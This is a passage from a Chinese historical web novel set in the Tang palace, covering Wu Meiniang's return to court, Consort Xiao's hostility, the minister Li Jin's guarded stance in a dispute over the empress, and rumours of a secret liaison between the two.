她没有刻意打扮,只是换上了一套略显陈旧但浆洗得十分干净的灰色淄衣,外罩一件郭老夫人年前所赠的、半新不旧的青缎棉斗篷,头发用最简单的木簪绾起,脸上不施脂粉。她要呈现的,就是这副“清苦守节、不慕荣华”的形象。
宫轿起行,缓缓离开感业寺。武媚娘坐在微微晃动的轿中,闭着眼,听着轿外积雪被踩踏的“咯吱”声,以及长安街市隐约传来的、为年节准备的喧嚷。心中并无多少重回人间的激动,只有一片冰凉的、近乎冷酷的清明。她知道,这趟入宫,绝非简单的“觐见”。这是王皇后在绝望中的一次试探,一次冒险,也可能是她武媚娘唯一的机会。她必须抓住,也必须演好。
轿子从玄武门侧门悄无声息地进入宫禁,并未直接前往皇后的立政殿,而是被引至一处偏僻的宫苑暖阁。暖阁内炭火温暖,陈设清雅。王皇后端坐于上首,一身正装,容颜依旧美丽,却难掩眉宇间的疲惫与焦虑。她打量着缓缓走进、低眉顺目行礼的武媚娘,眼中闪过审视、回忆,以及一丝不确定的期冀。
“武才人……不,武氏,数年不见,清减了。” 王皇后的声音带着刻意放缓的温和。
“劳皇后殿下记挂。感业寺清修,粗茶淡饭,不敢言苦。” 武媚娘声音恭谨,姿态卑微。
“起来吧,赐座。” 王皇后挥退左右,只留周尚宫在旁侍立。暖阁内只剩下三人,气氛变得微妙。
“本宫听闻,你在寺中虔心礼佛,为先帝祈福,甚是恭谨。郭老夫人亦常在本宫面前,赞你明慧知礼。” 王皇后缓缓开口,目光却未离开武媚娘的脸。
“此乃贫尼本分,不敢当郭老夫人与殿下谬赞。”
“本宫今日召你前来,一是念你为先帝守节辛苦,特予抚慰;二来……” 王皇后顿了顿,语气带上几分不易察觉的苦涩与急切,“宫中近来,颇不宁静。萧淑妃恃宠而骄,屡有逾越,搅扰宫闱,陛下仁厚,多有优容。本宫……身为六宫之主,有时亦感力不从心。”
武媚娘静静地听着,心中雪亮。王皇后这是在诉苦,也是在试探,看她是否明白自己的处境,是否愿意、以及是否有能力成为一把对抗萧淑妃的刀。
“殿下母仪天下,德泽六宫。些许微澜,定是宵小作祟,陛下圣明,必不为其所惑。” 武媚娘的回答滴水不漏,既表达了对皇后的尊崇,也暗示皇帝最终会明辨是非。
王皇后深深看了她一眼,忽然道:“你可还记得,当年你在宫中时,陛下……对你颇为欣赏。”
武媚娘心中一凛,知道戏肉来了。她立刻离座,跪伏在地,声音带着恰到好处的惶恐与感伤:“殿下明鉴!贫尼乃先帝宫中旧人,此身此心,早已皈依佛前,不敢有半分尘念。昔日蒙先帝、陛下错爱,已是过往云烟,不堪再提。如今贫尼只愿在感业寺中,青灯古佛,了此残生,为陛下、殿下祈福,绝无他念!”
这番话,既撇清了自己对皇帝的“非分之想”(至少表面如此),也表明了自己安于现状、无意争宠的态度,更重要的是,强调了“为陛下、殿下祈福”,将自己与王皇后的利益捆绑在一起。
王皇后对她的反应似乎还算满意,脸色稍霁,亲自起身,虚扶了一下:“快起来。本宫并非此意,只是……感念旧情罢了。你在寺中清苦,本宫于心不忍。陛下近日亦常感念先帝旧人,言及你时,亦有唏嘘之意。”
这才是关键!皇帝提起过她!而且似乎带着“唏嘘”(怜悯、怀念?)。王皇后捕捉到了这个信号,并决定加以利用。
“本宫思之,你青春年华,长守空门,并非长久之计。且为先帝祈福,在宫中佛堂,岂不更显虔诚,也更便宜?” 王皇后图穷匕见,“本宫有意,奏请陛下,允你回宫,在宫中佛堂带发修行,一则全你孝心,二则……也可为本宫分忧,打理些佛事,劝导宫人,以正风气。不知你意下如何?”
带发修行,回宫!名义上是管理佛事,实则是重回宫廷,回到皇帝的眼皮底下!这是王皇后抛出的橄榄枝,也是将她从感业寺这个“死地”捞出来的救命绳索,更是将她绑上自己战车的契约。
武媚娘心脏狂跳,面上却露出感激涕零、诚惶诚恐之色,再次拜倒:“殿下天恩,贫尼……感激不尽!若能回宫,朝夕供奉佛祖,为陛下、殿下祈福,乃贫尼毕生之愿!贫尼定当谨守本分,尽心竭力,辅佐殿下,绝不敢有丝毫懈怠!”
她没有提皇帝,只提佛祖和皇后,姿态放得极低,承诺也极为明确——是“辅佐殿下”。
王皇后终于露出了一丝真正的笑容,虽然依旧带着疲惫:“好,你既如此明理,本宫便放心了。此事本宫会妥善安排。你先回去,静候旨意。周尚宫,好生送武氏出宫。”
“是。” 周尚宫应下,看向武媚娘的目光,多了几分难以言喻的深意。
回程的轿子,依旧平稳。武媚娘靠在轿壁上,闭着眼,袖中的手指,却因用力而微微发白。成了!第一步,她终于踏出来了!不是以先帝才人的身份,而是以“带发修行、管理佛事”的名义,被王皇后“需要”而召回。这个起点,虽不算高,却足够安全,也留下了足够的腾挪空间。
然而,喜悦只是一瞬。冰冷的现实迅速涌上心头。宫中已非三年前。萧淑妃正当宠,势力盘根错节。王皇后看似占据大义名分,实则处境艰难,性情也未必真能容人。皇帝对她,是怜悯,是旧情,还是仅仅一丝好奇?这些都未可知。而李瑾……他如今身在朝堂,风光无限,与后宫牵扯越深,对他、对自己,风险越大。他们的同盟,能否经得起这宫廷漩涡的撕扯?他是否会支持自己?又能支持到何种地步?
无数个问题,如同冰锥,刺向她刚刚燃起希望的心头。但她没有恐惧,只有一种近乎麻木的、破釜沉舟的决绝。感业寺的三年,磨去了她最后一丝天真与侥幸,只余下淬炼过的钢铁般的意志与算计。
轿子出了宫门,重新驶入长安街市。喧嚣的人声隐隐传来。武媚娘掀开轿帘一角,望向窗外。天空依旧阴沉,雪花又开始零星飘落。长安城笼罩在一片灰蒙蒙的年节氛围中。
她放下轿帘,靠回原位。唇角,勾起一丝极淡、极冷,却又蕴藏着无尽锋芒的弧度。
我,武媚娘,回来了。
不再是任人摆布的才人,不再是青灯古佛下的比丘尼。这一次,我要拿回的,远不止是自由。这九重宫阙,巍巍长安,都将成为我的棋盘。
而那个在朝堂之上叱咤风云的男人,李瑾,你……准备好,迎接一个更危险、也更强大的盟友了吗?
宫轿在积雪的长安街道上,碾出两道深深的车辙,迤逦向南,渐渐消失在纷飞的雪幕之中。感业寺的方向,传来沉闷的暮鼓声,一声,又一声,仿佛在为一段过往彻底画上句点,又像是在为一个不可测的未来,敲响诡谲的序章。
第62章 后宫波澜恶
正月的长安,年节的红火与喧嚣尚未散尽,宫墙内的空气却已凝滞如冰。武媚娘以“为先帝祈福、带发修行、佐理后宫佛事”之名,被王皇后正式接入宫中,安置在紧邻立政殿的一处僻静小院——兰心苑。这处院落不大,但胜在清幽独立,院中植有几株老梅,此刻正凌寒绽放,倒与“带发修行”的素净名头相得益彰。王皇后拨了两名看着老实本分的宫女(一名唤作秋月,一名唤作冬雪)并一名哑巴内侍伺候,规格待遇仅比普通有品阶的宫人略高,远不及正经妃嫔,却也无人敢刻意怠慢——毕竟是皇后亲自接回的人。
然而,这看似平稳的回归,甫一落定,便被投注了无数道含义复杂的目光,迅速卷入了后宫暗流汹涌的漩涡中心。武媚娘如同一颗投入看似平静湖面的石子,激起的涟漪,远比王皇后预想的要激烈,也远比她自身预计的,更加险恶。
最先发难的,自然是萧淑妃。这位正当盛宠、又诞有皇子的妃子,对王皇后本就心存轻蔑与敌意,如今见皇后竟从感业寺接回一个先帝旧人,且是当年在宫中时就以“容貌才情”闻名的武媚娘,顿时如临大敌,怒火中烧。在她看来,这无疑是王皇后黔驴技穷,竟想出如此“下作”手段,用“先帝旧人、带发修行”的幌子,行“固宠”、“分宠”之实!更何况,她对武媚娘本就无甚好感,当年同在宫中时,便隐隐感到此女心机深沉,非池中之物。
“好一个‘虔心礼佛’、‘佐理佛事’!” 萧淑妃在自己华丽奢靡的披香殿内,摔碎了一只御赐的琉璃盏,气得浑身发抖,“王静那个蠢妇,自己拢不住陛下的心,竟想出这等龌龊法子!把一个先帝的侍妾弄回宫来,还说什么带发修行?呸!分明是狐媚子想借着旧情,重新勾引陛下!她武媚娘是个什么东西?也配?”
她身边的掌事宫女连忙劝慰:“娘娘息怒!那武氏不过是皇后弄回来装点门面、恶心娘娘的玩意儿。陛下圣明,岂会多看一个先帝旧人、且是出家之人?娘娘如今圣眷正浓,又育有皇子,何必与她一般见识?没得降低身份。”
“你懂什么!” 萧淑妃美目含煞,“陛下近日……时常提起先帝,言语间颇有追思之情。王静这贱人,怕是摸准了陛下这点心思!那武媚娘当年在宫中,陛下还是晋王时,就……哼!本宫绝不能让她有翻身之日!”
萧淑妃当即行动起来。她先是借着向皇帝请安、伴驾的机会,以“关怀”的口吻,状似无意地提起:“陛下,听闻皇后姐姐从感业寺接回了武才人……哦,如今该称武氏了。说是为父皇祈福,在宫中带发修行。皇后姐姐真是心善,体恤旧人。只是……这宫规礼法,先帝嫔妃回宫居住,虽说是修行,总该有个明确的名分规制才好,免得宫人们不知如何侍奉,乱了尊卑。”
这话绵里藏针,既点出武媚娘“先帝嫔妃”的敏感身份,暗示其回宫“不合礼法”,又暗指王皇后此举可能“乱了宫规”。皇帝李治闻言,只是淡淡“嗯”了一声,未置可否,但眉头几不可察地微蹙了一下。萧淑妃察言观色,心中冷笑,知道种子已经种下。
接着,萧淑妃利用自己在宫中经营多年的势力,开始对兰心苑进行全方位的、不动声色的打压与孤立。尚宫局、内侍省中依附萧淑妃的宦官、女官,对兰心苑的用度供给、人员调配,开始有意无意地拖延、克扣。送往兰心苑的炭薪,总是最次的烟炭;份例中的时新果蔬、精致点心,常常“恰好”短少或“运送途中损坏”;就连浆洗衣物、领取灯油蜡烛,也时常被各种借口推诿。秋月、冬雪出去办事,常遭其他宫殿宫人白眼或冷语,甚至被刻意排挤。
更有甚者,关于武媚娘的种种流言蜚语,开始在宫中隐秘流传。有说她“在感业寺便不安分,与朝中某新贵大臣暗通款曲”;有说她“假借修行之名,实则以狐媚之术蛊惑皇后,欲图东山再起”;更恶毒者,竟影射她“命格克夫”,先帝驾崩与其有关,是不祥之人……这些流言来去无痕,却如跗骨之蛆,不断侵蚀着武媚娘本就如履薄冰的生存空间。
王皇后那边,起初对武媚娘还算客气,时常召见,询问佛经,让她协助处理一些无关紧要的、与后宫祭祀、赏赐僧尼相关的事务,似乎真将其视为“佐理”之人。武媚娘也表现得极为恭顺勤勉,每日除了在兰心苑小佛堂诵经,便是去立政殿听候差遣,谨言慎行,对皇后毕恭毕敬,对宫人温和有礼,从不逾矩半步。她甚至主动提出,亲手为皇后抄写祈福经卷,以表忠心。
然而,王皇后并非毫无保留。她接回武媚娘,本意是借其分萧淑妃之宠,制衡萧氏。但眼见皇帝对武媚娘的回归反应平淡,并未表现出特别的关注,而萧淑妃的反扑又如此迅速凌厉,王皇后心中不免生出几分犹疑和懊悔,担心自己此举是否引狼入室,或徒惹一身骚。她对武媚娘的态度,也随之变得微妙起来。召见的频率降低,交代的事情越发琐碎无关紧要,赏赐也多是些象征性的佛珠、经书,再无初时的“抚慰”之意。周尚宫私下提点武媚娘:“皇后殿下近日心烦,萧淑妃那边闹得厉害,陛下又……你且安分些,莫要生事。”
武媚娘心中雪亮。王皇后这是退缩了,在观望,甚至可能随时将她当作弃子抛出,以平息萧淑妃的怒火或皇帝的些许不满。她在宫中的处境,看似是皇后接回,实则孤立无援,前有萧淑妃虎视眈眈,后有王皇后态度暧昧,四周是窥探与流言编织的罗网。
这一日,天降春雪,细碎如盐。武媚娘从立政殿请安回来,行至御花园僻静处,忽闻假山后传来几名宫女的窃窃私语。
“……兰心苑那位,还真当自己是什么人物了?不过是个先帝不要的,又被发配去做尼姑的,如今靠着皇后可怜,回来吃口闲饭罢了。”
“就是,你看她那样子,整天素着脸,穿着半旧不新的衣服,装给谁看?说不定心里怎么盘算着勾引陛下呢!”
“小声点!听说萧淑妃娘娘那边,最是厌烦她。咱们可别沾上晦气……”
“怕什么?我看她也蹦跶不了几天了。陛下压根没想起她这号人。皇后娘娘接她回来,怕是也后悔了……”
话语如冰锥,刺入耳中。武媚娘脚步未停,面色平静如常,仿佛什么都没听见。只是袖中的手,指甲深深掐入掌心,带来一丝尖锐的痛感,让她保持清醒。秋月和冬雪跟在她身后,闻言脸色发白,偷眼觑她,却只见一个挺直而沉默的背影。
回到兰心苑,哑巴内侍正费力地清扫院中积雪,动作迟缓。炭盆里的烟炭冒着呛人的青烟,屋内虽有地龙,却因炭次而暖意不足。冬雪低声抱怨尚宫局又克扣了银霜炭的份例,秋月则忧心忡忡地说,今日去领月例,又被刁难。
武媚娘摆了摆手,示意她们不必多言。她走到窗边,望着院中那几株在风雪中瑟缩却依旧绽放的老梅,目光幽深。这宫中的寒冷与恶意,比她预想的更甚。萧淑妃的攻势直接而凶狠,王皇后的退缩也在意料之中。皇帝……皇帝的态度,是关键中的关键。必须让他“看见”自己,而且必须是“恰当”地看见。
“秋月,将我前日抄好的那卷《金刚经》拿来。” 武媚娘忽然开口,声音平静无波,“陛下近日为国事操劳,我愿以此经,为陛下祈福静心。你想法子,看看能否通过周尚宫,不引人注目地送到陛下能看见的地方。记住,只需让陛下知道,这是我‘为陛下、为社稷’祈福所抄即可,不必多言其他。”
她不能直接去见皇帝,那会坐实“狐媚”的流言,也会触怒王皇后和萧淑妃。但可以通过这种看似无心、实则精心设计的方式,重新进入皇帝的视线。抄写经卷,是“带发修行”的本分;为皇帝祈福,是“忠君”的表现;通过周尚宫转交,既利用了与皇后的“旧情”渠道,又显得不那么刻意。
“是。” 秋月应下,心中对这位看似柔弱、实则心思缜密的主子,又添了几分敬畏。
就在武媚娘于宫中艰难周旋、步步为营之时,前朝的李瑾,也并未置身事外。他通过郭老夫人这条线,以及自己在宫中的一些眼线(如与太医署刘神威的密切关系,偶尔可探知些许后宫动态),对武媚娘的处境了如指掌。得知萧淑妃的刁难和王皇后的退缩,他眉头深锁。
“公子,武娘子在宫中,怕是举步维艰。” 李福低声道,“萧淑妃气焰嚣张,皇后又靠不住。是否要设法……”
“不可妄动。” 李瑾打断他,指尖轻叩桌面,“后宫之事,外臣插手乃大忌,尤其是我与她这层关系,若被察觉,便是万劫不复。萧瑀在朝中正虎视眈眈,巴不得抓住我的把柄。”
他沉吟片刻:“不过,我们也不能全然被动。萧淑妃之所以敢如此肆无忌惮,无非是倚仗萧瑀在朝之势,以及陛下宠爱。萧瑀那边,我自有计较。至于陛下……或许,该让陛下更清楚地看到,谁才是真正能为大唐带来‘实利’、巩固江山之人。”
他铺开纸笔,开始起草一份关于“新式海船龙骨与帆索改良”的奏报,这是“格物所”与将作监舟楫署、工坊匠师的最新研究成果,旨在提高海船航速与抗风浪能力,对海外贸易与海防至关重要。他要将这份凝聚“实学”智慧、关乎帝国未来“海洋利益”的成果,以一种隆重而恰当的方式,呈报给皇帝。他要让皇帝看到,他李瑾所代表的“实学”力量,正在为这个帝国开拓怎样的未来。而一个稳定、强盛的帝国,需要一个同样清醒、明智的君主,以及……一个能与之相匹配的、懂得“实学”价值的后宫环境?
这其中的微妙联系,他不必明言,相信以皇帝的聪慧,自能体味。同时,他也让王掌柜,通过隐秘渠道,向郭老夫人递了话,请其在合适的时机,以“闲谈”方式,向宫中交好的命妇“无意间”提及:李少监忙于国事,宵衣旰食,所创“格物所”汇聚天下巧思,所产新物、所献良策,皆利国利民,实乃陛下股肱之臣。至于宫中些许流言,不过是小人妒忌,陛下圣明,必不为所惑。
他要为武媚娘,也为自己,营造一种“在前朝锐意进取、无暇他顾”的正面形象,同时隐约传递“宵小流言不足信”的信号。这是一种更为高级和隐蔽的声援。
长安城的初雪,渐渐停歇。宫墙内外的博弈,却在这春寒料峭中,进入了更加诡谲而激烈的阶段。武媚娘在兰心苑的孤灯下,一笔一划,抄写着为皇帝祈福的经卷,字迹娟秀而沉静。李瑾在将作监格物所的烛火前,审阅着海船改良的图纸,目光锐利而专注。
他们身处不同的战场,面对不同的敌人,却仿佛能隔着重重宫墙与朝堂,感受到彼此的存在与支撑。这是一种超越了寻常情爱、建立在共同野心、深刻理解与绝对利益捆绑之上的、奇特而坚韧的同盟。
然而,风暴才刚刚开始。萧淑妃的恶意不会止步于克扣用度和散布流言,王皇后的摇摆也随时可能转向抛弃。皇帝的“看见”,又能带来多少实质的保护与转机?
武媚娘放下笔,揉了揉有些发酸的手腕,望向窗外沉沉的夜色。宫苑深处,不知何处传来隐约的丝竹之声,那是萧淑妃的披香殿,正在举办夜宴,据说皇帝也在。
她轻轻吹熄了灯。黑暗中,只有那双眸子,亮得惊人,如同雪地中潜伏的母狼,冷静、警惕,等待着给予猎物致命一击的时机。
后宫波澜恶,方显伊人色。这潭浑水,她既已踏入,便没想过要干净地离开。要么,乘风破浪,直上青云;要么,葬身于此,万劫不复。没有第三条路。
第63章 瑾郎立后议
二月的长安,冬寒未退,朝堂之上,却因一场突如其来的风波,骤然掀起了比倒春寒更为凛冽的政治漩涡。这场风波的中心,并非边关军情,也非天灾人祸,而是那个看似遥远、实则牵动无数人心弦的敏感话题——国本,或者说,直白些,储君之母、未来皇后的归属。
事情的起因,看似偶然。正月里,皇帝李治偶感风寒,休朝数日。虽是小恙,很快痊愈,但在一些“忧心国本”的官员眼中,却成了天赐的进言之机。二月初一大朝,一位素以“耿直敢言”、出身山东士族、与萧瑀一系若即若离的御史大夫杜正伦,在奏对完例行公务后,忽地撩袍跪倒,以一种近乎悲怆的语气,朗声奏道:
“陛下!臣冒死进言!储贰,天下之本;嫡庶,礼法之纲。 今东宫已立,太子仁孝聪敏,然太子之母,位号未正,此非所以固国本、安天下也!王皇后正位中宫多年,然……” 他顿了顿,似在斟酌措辞,但意思已明,“然中宫久旷,未诞育嫡嗣。萧淑妃育有皇子,然妃妾之位,终非国母。此名分未定,礼法有亏,长此以往,恐非社稷之福!臣恳请陛下,为江山社稷计,早定国母名分,或……或更择贤德,以正坤仪,以安储位,以慰天下臣民之望!”
此言一出,满朝皆惊!虽然“王皇后无子、萧淑妃有子”是公开的秘密,皇帝对萧淑妃的宠爱也人尽皆知,但如此直白地在朝堂上,将“皇后之位不稳”、“或需更择贤德”这样的议题抛出来,不啻于在平静的湖面投下巨石!这已不仅仅是后宫争宠,更是赤裸裸地指向了废后与另立的可能性!而“更择贤德”四字,更是留下了无尽的想象空间——除了萧淑妃,还有谁?
太极殿内,空气仿佛凝固了。王皇后一系的官员脸色煞白,又惊又怒。萧瑀一系的官员,则精神一振,眼中闪过精光,却并未立刻出言附和,显然在观察皇帝和宰相们的反应。长孙无忌、褚遂良等重臣眉头紧锁,面色凝重。于志宁也露出愕然之色。皇帝李治端坐御座,脸上看不出喜怒,但握着扶手的指节,微微泛白。
谁都清楚,杜正伦这看似突兀的奏请,绝非一时心血来潮。其背后,必有更深层的政治力量在推动。是萧瑀授意,试探皇帝心意?还是某些对王皇后不满、或欲投机押注的势力在蠢蠢欲动?抑或……是皇帝本人,已生易后之心,借臣子之口投石问路?
“杜卿此言,过矣。” 李治沉默片刻,缓缓开口,声音听不出情绪,“皇后母仪天下,并无失德。立储以嫡以长,太子既立,国本已固。后宫之事,朕自有裁量。此事不必再议。”
皇帝直接否定了“更择贤德”的提议,并强调皇后“无失德”、太子“国本已固”,似乎是想将此事压下去。然而,开了头的口子,岂是那么容易合上的?
退朝之后,暗流汹涌。“立后”或“易后”之议,如同瘟疫般在朝野上下迅速传播、发酵。支持王皇后的官员(多与太原王氏、陇西李氏等后族关联密切,或秉持“嫡庶正统”的守旧派)开始串联,准备上疏力保皇后,痛斥“动摇国本”之非。支持萧淑妃的势力(以萧瑀为核心,包括部分江南士族、与萧氏利益攸关的官员)则暗中活跃,四处搜集、甚至制造王皇后“失德”、“无子”、“性妒”的“证据”,并大力宣扬萧淑妃“贤德”、“育有皇嗣”、“深得帝心”。更多嗅觉敏锐的骑墙派和中立官员,则开始紧张地观望、计算,权衡着该押注哪一边,或者,是否有第三股力量可能趁势而起?
就在这风口浪尖之上,一个名字,开始被越来越多的人在私下议论时,有意无意地、带着某种试探与深意地提及——李瑾。
这位如今圣眷正隆、手握“督行实务使”与“格物所”大权、提出过惊世骇俗的“开拓海洋”、“实学经世”理念的年轻重臣,在此事上,究竟是何态度?他会支持谁?
支持王皇后?似乎合乎“正统”,但王皇后明显失宠,且与李瑾的“实学革新”派未必契合。支持萧淑妃?那意味着与萧瑀合作,但萧瑀及其代表的保守势力,是李瑾“实学”理念最激烈的反对者,双方在朝堂上多次交锋,几成死敌。李瑾怎么可能支持萧淑妃?
那么……他会不会有第三种选择?这个念头,如同鬼火,在一些最敏感、最大胆的官员心中闪烁。他们想起了被王皇后接回宫、如今在兰心苑“带发修行”的武媚娘。这位先帝才人,容貌才情当年便有传闻,如今虽身份尴尬,但能被王皇后接回,且在皇帝那里似乎也并非全无印记(有零星传言,皇帝曾问及兰心苑那位“抄经祈福”的旧人)。更重要的是,她与李瑾……似乎有过交集?当年“谶纬案”时,李瑾曾为当时还是太子的李忠讲学,而武媚娘那时仍在宫中为才人,或许有过照面?甚至,有更隐秘的传闻,说李瑾的“明玻”工坊,最早曾向感业寺“布施”过器物……
这些联想破碎而模糊,经不起推敲,但在“立后”这个巨大的政治赌局面前,任何一点可能的变数,都会被人用放大镜审视。于是,一种极其隐晦、却又足够清晰的试探,开始向李瑾袭来。
先是几位与李瑾在“墨香茶舍”有过交往、如今分散在各部的中下级“实学”派官员,在私下小聚时,以“闲谈”口吻,议论起朝中“立后”风波,然后“随口”问及李瑾的看法:“督行以为,如今中宫之势,当如何稳固?或……当真需要‘更择贤德’乎?”
接着,在一次“格物所”的内部议事间隙,那位被皇帝派来、一向公事公办的监察御史周兴,竟也难得地“闲聊”了几句,语气平淡却意有所指:“李督行锐意革新,于国于民,用心良苦。然革新之业,需上下一心,朝局稳固。如今后宫微澜,恐波及前朝。督行深得圣心,于陛下家事……或可有持平之论,以安圣心?”
最直接的试探,来自萧瑀一方。一位与萧瑀关系密切、但在明面上并非其铁杆的户部郎中,在一次公务接洽后,屏退左右,压低声音对李瑾道:“李督行少年英才,前程无量。如今朝中多有议论,中宫之位,关乎国运。萧淑妃娘娘贤明淑德,又育有皇嗣,颇孚众望。督行若能在此事上,有所……表示,萧相那边,想必也会对督行所倡‘实务’,多几分理解与支持。毕竟,和为贵嘛。”
利诱与威胁,隐于平淡的言辞之下。这是要李瑾在“废王立萧”一事上表态,至少是默许,以换取萧瑀对其“实学”事业的“理解”(实则是减少阻挠)。
所有的目光,或明或暗,都聚焦在了李瑾身上。他如今已非可有可无的小角色,他的态度,某种程度上,代表着皇帝倚重的“革新派”与“实学”力量的倾向,也影响着许多观望者的选择。他若支持王皇后,则“正统派”声势稍振,但可能彻底得罪皇帝(若皇帝真有易后之心)和萧瑀集团。他若支持萧淑妃,则能暂时缓解与最大政敌的对抗,获取喘息空间,但等于背弃了自己的理念(萧瑀集团代表最顽固的保守势力),也会寒了于志宁等东宫支持者的心。他若模棱两可,则可能被双方视为骑墙,甚至被皇帝认为缺乏担当。
于志宁也私下找过李瑾,语重心长:“立储以嫡,此乃国本。王皇后虽有小瑕,然无大过,且系先帝为陛下所选。东宫已立,不宜轻动。萧淑妃纵有子,然其家……你当知晓。此事你需谨慎,万不可卷入过深,尤其不可轻易表态支持萧氏。陛下圣心,或亦难测。”
李瑾明白于志宁的意思,是让他站在“维护嫡庶、稳定东宫”的立场,间接支持王皇后,但不要冲在前面。
然而,李瑾心中所思,远非如此简单。他站在将作监格物所的阁楼上,望着窗外长安城初春萧瑟的景色,心潮起伏。支持王皇后?那女人性格能力皆不足,且明显已失帝心,不过是苟延残喘,支持她等于投资一艘注定沉没的破船。支持萧淑妃?与虎谋皮,且萧瑀集团是他“实学”事业必须铲除的障碍,绝无合作可能。更重要的是,无论是王皇后还是萧淑妃,都无法理解、更不会支持他超越时代的抱负。她们眼中,只有后宫那一亩三分地的荣宠得失。
他的脑海中,浮现出感业寺中那双沉静而炽烈的眼眸,兰心苑里那娟秀而坚定的笔迹,以及那份通过周尚宫悄然送到皇帝案头、为他“祈福”的《金刚经》。武媚娘……这个女人,拥有他所需的一切特质:智慧、隐忍、野心、对权力的渴望,以及……或许能理解他“实学”价值的潜力。更重要的是,她与他有着共同的敌人(萧瑀集团),以及隐秘而坚实的同盟基础。助她上位,固然风险极大,但收益也可能是无可估量的——一个由他暗中扶植、理念相通、且能深刻影响皇帝的皇后,将是他实现抱负最强大的助力。
但是,现在公开支持武媚娘?那简直是自寻死路。她的身份是先帝才人,这是巨大的道德污点;她目前毫无根基,全凭王皇后一时之需接回;皇帝对她的态度暧昧不明。此时表态,不仅会立刻成为众矢之的,被扣上“惑乱宫闱”、“败坏纲常”的罪名,更会彻底暴露他与武媚娘的关系,后果不堪设想。
他必须等待,必须谋划。眼下这场“立后”风波,对他而言,既是危机,也是机会。他不能支持任何一方,但可以利用这场风波,达到自己的目的。
数日后的一次“督行实务”季度审议会上,当话题不可避免地旁及朝中“立后”议论时,在郑侍郎、周御史等人的注视下,李瑾神色肃然,缓缓开口:
“陛下,诸公。臣蒙陛下信重,督行实务。臣之所思所行,唯在‘格物致知,实学经世’八字。农具是否增产,海船是否坚固,边备是否充实,国库是否丰盈,此乃臣日夜忧心、不敢或忘之事。至于宫中位号,嫡庶礼法,此乃陛下家事,亦是朝廷大礼,自有陛下圣裁,宗正、礼部依典议处。臣一外臣,职在实务,岂敢妄议宫闱,淆乱朝纲?”
他先明确划清界限,表明自己“不干涉宫闱、专注实务”的立场,这是 safest 的选择。
“然,” 他话锋一转,目光扫过众人,“臣有一言,不吐不快,或与今日之议有所关联。国之大者,在民不在君;政之要者,在实不在名。 储君之教,国母之德,固然重要。然,若天下田亩不增,仓廪不实,边关不宁,海疆不靖,则纵有贤后太子,恐难安社稷。反之,若百姓富足,兵甲精良,四夷宾服,则国本自固,坤仪自正!”
他再次将议题拉回到自己擅长的“实学”、“国力”领域,强调“实力”才是根本,隐隐贬低了单纯“名分”之争的意义。
“故臣以为,” 李瑾向御座方向拱手,“无论中宫之位如何,朝廷首要之务,仍在劝课农桑,鼓励百工,通商惠工,强兵备边。使我大唐国力日盛,府库日盈,则陛下择立贤德,自然德配其位,天下归心。至于些许流言争议,不过疥癣之疾,何足道哉?陛下英明神武,自有乾纲独断,何需臣等妄加揣测,徒乱圣心?”
这番话,说得冠冕堂皇,既表达了对皇帝绝对权威的服从,又巧妙地将“立后”与否与“国家实力”挂钩,暗示只要国家强盛了,皇帝无论选谁都有道理。同时,也委婉地批评了那些热衷于“嫡庶之争”的官员是“徒乱圣心”,将他们的争议轻描淡写为“疥癣之疾”。
既没有支持王皇后,也没有支持萧淑妃,更没有提及武媚娘。但他强调了“实力”和“皇帝乾纲独断”,实际上是将决定权完全交还给皇帝,并暗示自己只关心能增强“实力”的实务。这既符合他“督行实务使”的身份,也避免卷入具体派系争斗,更在某种程度上,迎合了皇帝可能存在的、不愿被朝臣过分干涉“家事”的心理。
更重要的是,他这番话,通过“联席审议”的渠道,很快会被呈报给皇帝,也会在一定范围内流传。那些暗中观察他的人会明白:李瑾不会在“立后”一事上轻易站队,他的根基和野心,在“实学”与“国力”,而非后宫归属。但同时,他也没有完全关闭与任何一方“合作”的大门——只要对方能支持他的“实务”。
至于武媚娘……李瑾在散朝后,独自立于宫墙之下,望着兰心苑的大致方向,目光深沉。他不能公开支持她,至少现在不能。但他可以通过郭老夫人,传递一些信息。比如,让郭老夫人在“闲谈”中,向宫中交好的命妇“感慨”:如今朝中只知争论后位名分,却不知陛下操劳国事,真正能为陛下分忧的,怕是如李督行那般做实事的臣子,以及……能为陛下诚心祈福之人。至于其他,陛下圣心烛照,自有明断。
他要做的,不是推波助澜,而是静观其变,蓄势待发。在“立后”这场风暴中,他首先要确保自己不被卷入漩涡,然后,在适当的时机,或许可以成为那个……决定风向的人。
“瑾郎立后议”,他给出了一个看似超然、实则深谋远虑的答案。这个答案,暂时安抚了各方,也为他赢得了更多观察和布局的时间。而兰心苑中的武媚娘,在得知李瑾朝堂上的这番表态后,只是对着铜镜,缓缓梳理着长发,镜中映出的眼眸,平静无波,深处却掠过一丝了然与更深的思量。
风暴眼,往往最是平静。而真正的惊雷,或许正在这平静之下,悄然孕育。
第64章 流言伤二人
二月末,长安的柳枝刚抽出鹅黄的嫩芽,料峭春寒中,一股比寒风更刺骨、更粘稠的阴冷流言,如同悄然滋生的地衣,开始沿着宫廷的朱墙、朝堂的廊柱、乃至坊间的茶肆,悄无声息地蔓延开来。这一次,流言的箭头,不再仅仅指向后宫某位失宠的皇后或跋扈的妃子,而是精准地、恶毒地,射向了两个看似毫无关联、却又在某些人眼中暗藏蹊跷的人物——前朝新贵、督行实务使、将作监少监兼秘书郎李瑾,与后宫那位身份微妙、带发修行于兰心苑的故人武媚娘。
流言的版本,如同毒藤上分蘖的枝蔓,衍生出各种细节,却都指向同一个核心:李瑾与武媚娘有私情,且其来有自,非同寻常。
最初级的版本,只是捕风捉影的“旧事重提”。有人说,当年李瑾还是东宫一个小小的伴读时,就曾与当时身为先帝才人的武媚娘“偶遇”于御花园,彼此“惊为天人”,眉目传情。甚至有人信誓旦旦地补充,李瑾后来献给太子的“祥瑞”白雉,便是武媚娘暗中相助指点所得,以此为晋身之阶。此说虽荒诞,却将两人相识的时间大大提前,营造出一种“早有苟且”的印象。
稍“可信”些的版本,则聚焦于感业寺时期。流言称,李瑾发迹之初,其“明玻”工坊便“异常热心”地向感业寺“布施”了大量精美琉璃器皿,价值不菲,远超寻常香火之情。而彼时武媚娘正在感业寺“为先帝祈福”,两人借此“互通款曲”。更有甚者,说李瑾曾多次“微服”前往感业寺“上香”,实则与武媚娘“私会”,寺中慧明师太收受重贿,为其遮掩。此说将李瑾的财富与武媚娘的困境联系起来,暗示李瑾是武媚娘在宫外的“金主”与“靠山”。
